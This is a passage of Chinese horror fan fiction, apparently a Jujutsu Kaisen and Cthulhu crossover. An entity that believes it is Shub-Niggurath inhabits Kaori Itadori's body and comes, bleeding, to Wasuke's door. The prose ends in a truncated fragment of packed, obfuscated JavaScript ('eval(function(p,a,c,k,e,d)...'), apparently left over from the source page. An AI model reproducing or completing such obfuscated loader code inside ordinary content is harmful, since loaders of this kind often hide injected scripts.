没有子嗣就是麻烦,信息来源非常有限,笕雪只能烦躁地搜寻着这具身体残留的记忆。
断断续续的记忆并不是很难找,很快,笕雪找到了伤疤的来源。
“啊,吓死我了,原来是剖腹产的刀口啊。”笕雪笑了起来。
想明白的笕雪放松了下来。她翻阅着记忆,想看了看这具身体之前到底生了几个子嗣。
很快,笕雪找到记忆。
这具身体孕育子嗣的数量让她感觉有些不可思议。
这个女人居然只生了一个。
莎布尼古拉斯怎么可以只生一个孩子?
笕雪气鼓鼓的。
这太不负责任了,她们作为莎布尼古拉斯的责任就是生育啊。
毕竟子嗣不多的话,世界可是会坏掉的。
笕雪回想着记忆里那个和原身结婚生子的男人,虎杖仁。
她微微蹙起眉头,虽然对方看上去不是强者,但是能生就比不能生强。
而且她的子嗣好像也在跟着那个男人在一起。
笕雪总感觉原身的记忆断断续续的,好像她生完孩子后离家出走了?
之后她的记忆就是大片空白。
但是不管怎么说,先去找那个叫虎杖仁的男人和她的子嗣。
笕雪走出医院门口,向自己记忆中家的方向走去。
她没有回头,可整个医院都陷入了死一样的昏睡之中。
————
小半个仙台市都做了一个怪梦。
可醒来的时候,大部分人什么都不记得了,而小部分记得的人已经疯掉。
虎杖倭助醒来的时候处在记得和不记得之中。
他忘记了自己看到了什么东西,但是知道一岁的悠仁也在梦中。
在疯狂中,幼小的悠仁和那些癫狂的人一样仰望着什么东西。
他本能地知道这样危险,想把孩子抱在怀里捂住眼睛,可却被某股强大的力量阻止。
他最后的记忆停留在悠仁向着上空伸出了手臂。
空间中本来嘈杂混乱的声音瞬间变成了一致的狂喜尖叫。
再然后,虎杖倭助就忘记了一切。
虎杖倭助看着已经穿好衣服在床上异常活跃的悠仁,有一种莫名的担心。
现在才五点,悠仁就醒了。
而悠仁平常需要睡到八九点才能起床喝奶。
虎杖倭助看向窗外,因为快到冬天,外面还是一片漆黑。
感觉不对劲。
但他说不上来什么不对劲。
就好像被什么东西盯上一般,心中不受控制地恐惧着什么。
突然,虎杖悠仁在床上安静下来,他看着自己表情沉默的爷爷,摆出了一个大大的笑脸。
房间外同时传来几声踢门的声音。
是巧合吗?
某股恶寒突然自虎杖倭助背后爬起。
但是看着一无所知的悠仁,他还是鼓起了勇气:“谁啊?”
没有回答,依旧还是砸门的声音。
再这样下去,门一定会被砸坏的。
虎杖倭助悄声走向猫眼处偷看。大门外站着一个浑身是伤低垂着头的黑发女人,她穿着的病号服上满是不停渗出的血液,可她却仿佛一无所知般,僵硬机械地用脚踢着门口。
突然,她停下了动作。
似乎是感知到了有人注视。
她抬头看向猫眼,成熟的脸上却是宛如孩童般的无辜表情:“开门啊。”
是虎杖香织。
虎杖倭助头上密密麻麻冒出了许多汗。
此时虎杖香织额头上的怪异伤疤已经消失不见,可虎杖倭助却加倍感觉到了女人的诡异之处
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(